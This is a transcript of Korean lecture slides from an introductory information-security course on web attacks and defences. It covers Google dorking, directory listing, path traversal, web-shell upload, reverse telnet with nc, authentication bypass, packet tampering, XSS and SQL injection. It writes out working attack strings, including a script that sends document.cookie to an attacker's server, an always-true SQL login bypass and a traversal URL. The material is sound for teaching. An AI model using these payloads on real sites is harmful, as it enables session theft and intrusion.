IT CookBook, 정보 보안 개론

Download Report

Transcript IT CookBook, 정보 보안 개론

정보 보안 개론 5장
웹 서비스
 HTML(Hyper Text Markup Language)
 웹 서버에 HTML 문서를 저장하고 있다가 클라이언트가 특정 HTML 페이지를
요청하면 해당 HTML 문서를 클라이언트로 전송해주는데, 이런 웹 페이지를
정적인(Static) 웹 페이지라고 함.
 클라이언트의 웹 브라우저를 통해 웹 서버의 무엇인가를 바꿀 수 있는 가능성이
매우 낮기 때문에 웹을 이용한 공격이 매우 어려움.
2/40
웹 서비스
 SSS (Server Side Script)
 서버에 HTML 확장자 대신 ASP 또는 JSP의 확장자를 가진 웹 문서를 요청하면
ASP는 DLL이나 OCX 같은 파일을 이용해, JSP는 서블릿을 이용해 요청을 처리.
그런 다음 그 결과를 HTML 파일로 만들어 클라이언트에 전송.
3/40
웹 서비스
 CSS (Client Side Script)
 웹 서비스에 이용되는 스크립트에는 자바 스크립트(JavaScript)나 비주얼 베이직
스크립트(Visual Basic Script) 등이 있음. 이들은 서버가 아닌 클라이언트측의 웹
브라우저에 의해 해석되고 적용되는데, 이를 CSS(Client Side Script)라 함.
4/40
Section 03 정보 수집과 구글 해킹
 웹 사이트에 대한 정보 수집
 웹 해킹의 첫 번째는 웹 사이트의 정보를 수집하는 것.
 홈페이지에서 게시판이나 자료실, 로그인 부분이 있는지, 또는 홈페이지 파일의
확장자가 ASP인지 JSP나 PHP인지를 확인. 파일 확장자만으로도 시스템이 윈도우
기반인지 유닉스 기반인지 유추할 수 있고, 이를 바탕으로 웹 서버의 정보 수집과
취약점 분석을 위한 범위를 좁힐 수 있음.
5/40
웹 사이트에 대한 정보 수집
웹 프록시 PAROS를 이용한 정보 수집
 웹 프록시 PAROS의 인터페이스
• 오른쪽 위에는 웹 서버에 대한 요청 (Request), 응답(Response), 현재 붙잡고 있는(Trap)
창이 나타난다. Trap에서는 아래쪽의 Trap request와 Trap response 항목을 체크해야 해당
패킷을 붙잡아 보는 것이 가능.
6/40
구글 해킹
 구글 해킹
 웹 해킹을 하면서 많은 정보를 수집하는 유용한 방법이 검색 엔진을 이용하는
것임. 흔히 이러한 정보 수집 방법으로 구글을 사용.
 구글에서 제공하는 고급 검색 기능
7/40
구글 해킹
 Site
 특정 사이트만을 집중적으로 선정해서 검색할 때 유용.
 wishfree.com 도메인이 있는 페이지에서 admin 문자열을 찾으라는 예
예) site:wishfree.com admin
 Filetype
 예) filetype:txt 패스워드
 특정 파일 유형에 대해 검색할 때 사용.
 검색어로 파일 확장자가 txt이고 패스워드라는 문자열이 들어간 파일을 검색한 화면
8/40
구글 해킹
 검색 엔진의 검색을 피하는 방법
 서버의 홈 디렉토리에 robots.txt 파일을 만들어 검색할 수 없게 만듬.
 http://www.wishfree.com/robots.txt 파일이 있으면 구글 검색 엔진은
robots.txt에 있는 디렉토리는 검색하지 않음.
 robots.txt 파일은 User-agent와 Disallow를 이용.
• User-agent는 구글 검색 엔진으로부터의 검색을 막기 위해서 다음과 같이
사용.
예) User-agent: googlebot
• 모든 검색 로봇으로부터 검색을 막으려면 아래와 같이 입력
예) User-agent: *
• Disallow 필드는 특정 파일이나 디렉토리를 로봇이 검색하지 못하도록 설정.
dbconn.ini 파일을 검색하지 못하도록 하려면 robot.txt 파일에 다음과 같이
입력.
예) Disallow: dbconn.ini
• 다음과 같이 입력하면 admin 디렉토리에 접근하지 못함.
예) Disallow: /admin/
9/40
Section 04 파일 접근
 디렉토리 리스팅
 웹 브라우저에서 웹 서버의 특정 디렉토리를 열면 그 디렉토리에 있는 파일과
디렉토리 목록이 모두 나열되는 것
10/40
Section 04 파일 접근
 디렉토리 리스팅
 화면에 보이지 않는 여러 웹 페이지를 클릭 하나만으로도 직접 접근할 수 있음.
11/40
Section 04 파일 접근
 임시/백업 파일 접근
 상용 프로그램을 이용한 편집은 확장자가 bak이나 old인 백업 파일을 자동으로
생성. 또한 이러한 백업 파일들은 서버측에서 실행되고 결과만 웹 페이지로
보여주는 ASP, JSP 파일과는 달리 클라이언트가 그 파일을 직접 다운로드받을 수
있게 해줌.
 대책: 상용 에디터 등을 이용해 웹 소스를 직접 편집하는 것을 금함
 파일 다운로드
 게시판에서 글 목록을 보여주는 list.jsp 파일이 http://www.wishfree.com/board에
위치한다면 주소창에 다음과 같이 입력하여 다운로드 가능.
예) http://www.wishfree.com/board/download.jsp?filename=../list.jsp
12/40
Section 04 파일 접근
 파일 다운로드
 파일 시스템에서 ‘.’은 현재 디렉토리를, ‘..’은 상위 디렉토리를 의미.
 공격자가 filename 변수에 ‘../list.jsp’라고 입력하면, 이것은 다운로드가
기본적으로 접근하는 /board/upload 디렉토리의 바로 상위 디렉토리에서 list.jsp를
다운로드하라는 의미.
13/40
Section 04 파일 접근
 파일 업로드 공격
 시스템 내부 명령어를 실행시킬 수 있는 웹 프로그램(ASP나 JSP, PHP)을 제작하여
자료실과 같은 곳에 공격용 프로그램을 업로드하는 공격 방식.
 이 공격용 프로그램은 웹에서 브라우저를 이용해 접근하면 시스템 내부 명령어를
실행시킬 수 있음.
• 예) 웹에서 명령을 입력할 수 있도록 만든 cmdasp.asp라는 프로그램을 게시판에
업로드.
14/40
Section 04 파일 접근
 파일 업로드의 취약점
• asp 확장자를 가진 파일이 아무런 필터링 없이 업로드된다는 취약점이 존재
• 업로드를 할 때는 파일 확장자를 체크해야 하고, 반대로 특정 확장자를 가진
파일만 업로드하도록 설정하는 방법도 있음
• 필터링 수행시 클라이언트측 스크립트 언어는 공격자가 수정할 수 있기
때문에 서버측 스크립트 언어에서 필터링해야 함.
• 첨부 파일에 마우스를 가져가면 브라우저의 아래쪽에
http://192.168.61.128/bbs/upload/cmdasp.asp와 같이 파일이
업로드되어 있는 경로가 나타남. 이 경로 정보는 공격자에게 매우 중요하기
때문에 웹 브라우저에서도 노출되면 안됨.
• 저장 파일 이름이 아무런 변환없이 그대로 저장된다는 점. 웹 서버에 악성
파일이 업로드되어도 해당 파일을 찾을 수 없게 파일 이름과 확장자를
변환시켜 저장하면 훨씬 높은 수준의 보안성을 확보할 수 있음.
15/40
Section 04 파일 접근
 파일 업로드 공격
 명령창을 실행시키기 위한 cmdasp.asp의
주소(http://192.168.61.128/bbs/upload/cmdasp.asp)를 웹 브라우저 주소창에
직접 입력하여 실행하면 웹 브라우저에 입력창과 <Run>이라는 버튼을 확인할 수
있다.
16/40
Section 05 리버스 텔넷
 일반적으로 웹 서버는 방화벽 내부에 존재. 그리고 웹 서버는 80번 포트를 이용한
웹 서비스만 제공하면 되기 때문에, 방화벽은 외부 인터넷을 사용하는 사용자에
대해 80 포트만을 허용.
 이런 경우에는 웹 서버의 텔넷(Telnet)이 열려있어도 방화벽으로 인해 공격자가
외부에서 접근할 수 없음.
17/40
Section 05 리버스 텔넷
 리버스 텔넷
 심화된 공격을 하기 위해서는 텔넷과 같은 접근 권한을 획득하는 것이 매우 중요.
 방화벽에서 인바운드 정책(외부에서 방화벽 내부로 들어오는 패킷에 대한 정책)은
80번 포트 외에 필요한 포트만 빼고 다 막아 놓지만, 아웃바운드 정책(내부에서
외부로 나갈 때에 대한 정책)은 별다른 필터링을 수행하지 않는 경우가 많음. 리버스
텔넷은 이런 허점을 이용.
18/40
Section 05 리버스 텔넷
 리버스 텔넷 실행 과정 예
➊ 명령창 획득 : 파일 업로드 등을 통해 공격자가 명령을 입력할 수 있는 명령창을 획득.
➋ 리버스 텔넷용 툴 업로드: nc와 같은 리버스 텔넷용 툴을 서버 게시판의 파일 업로드
기능을 이용해 업로드.
➌ 공격자 PC 리버스 텔넷 데몬(daemon) 활성화: 서버에서 리버스 텔넷을 보내면 이를
받아 텔넷을 열 수 있도록 리버스 텔넷 툴을 다음과 같이 실행.
19/40
Section 05 리버스 텔넷
➍ 획득한 명령창을 통해 공격자에게 리버스 텔넷을 보내줌. 이 때, 업로드한 nc 파일이
위치한 전체 경로를 입력해주어야 함.
➎ 리버스 텔넷창을 획득. IP가 웹 서버의 192.168.61.128로 바뀐 것을 확인할 수 있음
20/40
Section 05 리버스 텔넷
 리버스 텔넷 예방법
 파일 업로드를 먼저 막아야 함. asp뿐만 아니라 리버스 텔넷 툴 같은 것을 실행하지
못하도록 exe나 com 같은 실행 파일도 업로드를 못하게 해야 함. 또한 외부에서
내부로의 접속뿐만 아니라 내부에서 외부로의 불필요한 접속도 방화벽으로 막는
것이 좋음.
21/40
Section 06 인증 우회
 인증 우회
 관리자 페이지나 인증이 필요한 페이지에 대해 인증 처리를 하지 않아, 인증을
우회하여 접속할 수 있게 되는 취약점. 이 취약점에 노출되면 일반 사용자나
로그인하지 않은 사용자가 관리자 페이지에 접근하여 관리자 권한의 기능을 악용할
수 있음.
 인증우회의 예
 관리자로 로그인해서 관리자용 웹 페이지에 접속할 수 있어야 하는데, 로그인을
하지 않고도 관리자용 웹 페이지에서 특정 작업을 직접 수행할 수 있는 것
 www.wishfree.com/admin/login.asp를 통해 관리자로 로그인한 후에야 www.
wishfree.com/admin/boardadmin.asp에 접근할 수 있어야 하는데, 관리자로
로그인 하지 않은 채로 www.wishfree.com/admin/boardadmin.asp 에 바로
접근해 게시판을 관리하는 경우
 인증우회의 보안책
 인증 우회를 막기 위해서는 웹에 존재하는 중요 페이지에 세션값을 확인하도록 검증
로직을 입력해두어야 함
22/40
Section 07 패킷 변조
 서버에서 클라이언트로 전송되는 패킷 변조
 test라는 제목을 클릭하면 다음과 같은 내용을 확인할 수 있음.
23/40
Section 07 패킷 변조
 웹 프록시를 이용해 내용을 변조.
 인터넷 익스플로러에 프록시 설정을 하고 게시판 글 목록에서 웹 프록시에서 Trap을
건 후 글 열람. 다음과 같이 해당 글에 대한 열람을 시도하는 패킷이 서버에 최초로
전송됨을 확인할 수 있음.
 GET을 통해서 /bbs/board_view.asp?num=3, 즉 게시판의 3번째 글을 보여줄 것을
서버에 요청.
24/40
Section 07 Proxy Server
•To keep machines behind it anonymous (mainly for security).
•To speed up access to resources (using caching). Web proxies are
commonly used to cache web pages from a web server.
•To apply access policy to network services or content, e.g. to block
undesired sites.
•To log/audit usage, i.e. to provide company employee Internet usage
reporting.
•To scan transmitted content for malware before delivery.
•To scan outbound content, e.g., for data leak protection.
25/40
Section 07 패킷 변조
 응답 패킷에서 test라고 입력된 제목과 본문을 확인할 수 있음.
26/40
Section 07 패킷 변조
 test라고 된 내용을 What a amazing day!로 바꾸어 입력.
27/40
Section 07 패킷 변조
 서버에서 전달되는 패킷 변조를 통한 공격 유형
 클라이언트에 해킹하고자 하는 대상이 있는 경우
• 웹 브라우저 내용만 바꾸었지만 실제로는 Active X 등의 형태로 여러 프로그램이
클라이언트에 설치되어 웹 서비스를 제공하는 경우가 많음. 이 때 클라이언트에 설치된
서비스 프로그램을 속이는 것이 가능.
 서버에서 클라이언트에 정보를 전송했다가 이를 다시 전송받아 처리하는 경우.
• 예를 들면 서버에서 변수 A의 값이 20임을 확인하고 이 값을 클라이언트에 전송. 그리고
서버는 전송한 변수 A가 필요할 때 자신의 데이터베이스에서 다시 읽지 않고, 클라이언트가
관련 서비스 수행할 때 서버에 다시 전송해주는 A 값을 참조하여 서비스를 수행하는 경우.
28/40
Section 07 패킷 변조
 클라이언트에서 서버로 전송되는 패킷 변조
 앞서 test라는 글을 열람할 때와 똑같은 상황에서 이번에는 /bbs/board_view.asp?
num=3에서 글 번호인 3을 4로 바꾸어 봄.
29/40
Section 07 패킷 변조
 그 결과는 게시판에서 4번째 글을 클릭했을 때와 같음.
 클라이언트에서 서버로 전송되는 패킷을 변조하는 것은 일반적인 웹 서비스의
메뉴상 접속할 수 없는 것에 접근하거나 , 특정한 값을 넣어 시스템의 오작동을
유도하기 위한 목적으로 사용
30/40
Section 08 XSS
 XSS
 'Cross Site Scripting'의 약자로 줄여서 CSS라고도 부르나 웹에서 레이아웃과
스타일을 정의할 때의 사용되는 캐스케이딩 스타일 시트(Cascading Style
Sheets)와 혼동되어 일반적으로 XSS라고 함.
 XSS는 과부하를 일으켜 서버를 다운시키거나 요즘 문제가 되는 피싱(Phishing)
공격의 일환으로 사용되기도 하지만 가장 일반적인 목적은 웹 사용자의 정보
추출
 쿠키(COOKIE)
 쿠키는 사용자가 인터넷 웹 사이트에 방문할 때 생기는 4KB 이하의 파일.
 클라이언트가 웹 사이트에 방문하면 접근 기록이 클라이언트에 파일로 남고,
이 파일은 사용자와 웹 사이트를 연결해주는 정보를 담고 있음.
31/40
Section 08 XSS
 쿠키 파일은 같이‘사용자이름@접속한 사이트’형태로 구성됨.
32/40
Section 08 XSS
 XSS 테스트 코드를 게시판의 본문에 입력.
예) <script>alert(document.cookie)</script>
33/40
Section 08 XSS
 XSS 테스트 코드를 입력한 게시판 글 열람
• 해당 글의 내용이 보이지 않고 스크립트가 실행. 화면에 뿌려지는 것은 현재 사용자의
쿠키값임.
34/40
Section 08 XSS
 XSS를 이용한 쿠키 획득
예) <script>url="http://192.168.1.10/GetCookie.asp?cookie
="+document.cookie;window.open(url,width=0, height=0);</script>
 위 코드는 게시판을 열람할 때 사용자의 쿠키 정보가 해커의 웹
서버(192.168.1.10)로 전송되게 함. 물론 글을 읽는 사람에게는 다음과 같이 본문
외의 내용은 보이지 않음.
35/40
Section 08 XSS
 메일 서비스를 이용한 XSS 공격
• XSS 공격은 메일과 같이 특정인에게 정보를 발송하는 경우에도 가능. 메일의 본문에 XSS
공격 코드를 입력한 후 이를 특정인에게 보내, 메일을 이용하는 사람의 세션 정보를 담고
있는 쿠키값을 공격 서버에 전송하도록 함.
36/40
Section 08 XSS
 XSS를 이용한 DoS 공격
• XSS 문으로 취약 페이지를 재참조하는 스크립트를 입력하면 무한
루프가 발생할 수 있음
 XSS 공격에 대한 대응책
• XSS 공격을 차단하는 방법은 특수문자에 대한 필터링을 철저히 하여
XSS와 같은 스크립트 코드가 실행되지 않도록 하는 것임
37/40
Section 09 SQL 삽입 공격
 웹 로그인시의 SQL 문
• 웹에서 사용자가 ID와 패스워드 입력창에 자신의 ID와 패스워드를 입력하면, 다음과
같은 SQL 문이 작성되어 데이터베이스에 전송됨.
예) select user_id from member where user_id ='입력된 아이디' AND
user_pw='입력된 패스워드‘
38/40
Section 09 SQL 삽입 공격
 실제 웹 로그인 소스
Qeury = "SELECT user_id FROM member WHERE user_id = '"&strUser_id&"
' AND password = ' '&strPassword&" ' "
strAuthCheck = GetQueryResult(Query)
If strAuthCheck = " " then boolAuthenticated = False
Else boolAuthenticated = TrueEndIf
 SQL 삽입 공격은 어떤 수단을 쓰든 SQL의 결과값이 NULL이 나오지 않게 하는 것
 조건값에 ' or ''='을 입력하면 where로 입력되는 조건문을 항상 참으로 만들 수 있음
39/40
Section 09 SQL 삽입 공격
 웹에서 SQL 삽입 공격시
 이러한 SQL 삽입 공격은 로그인뿐만 아니라 웹에서 사용자의 입력값을 받아
데이터베이스에 SQL 문으로 데이터를 요청하는 모든 곳에 가능.
 SQL 삽입 공격을 막는 방법은 사용자가 입력창을 통해서 SQL 문을 완성하여
데이터베이스에 전송할 때 입력값 중에 특수문자가 존재하는지 여부를 필터링하는
것
40/40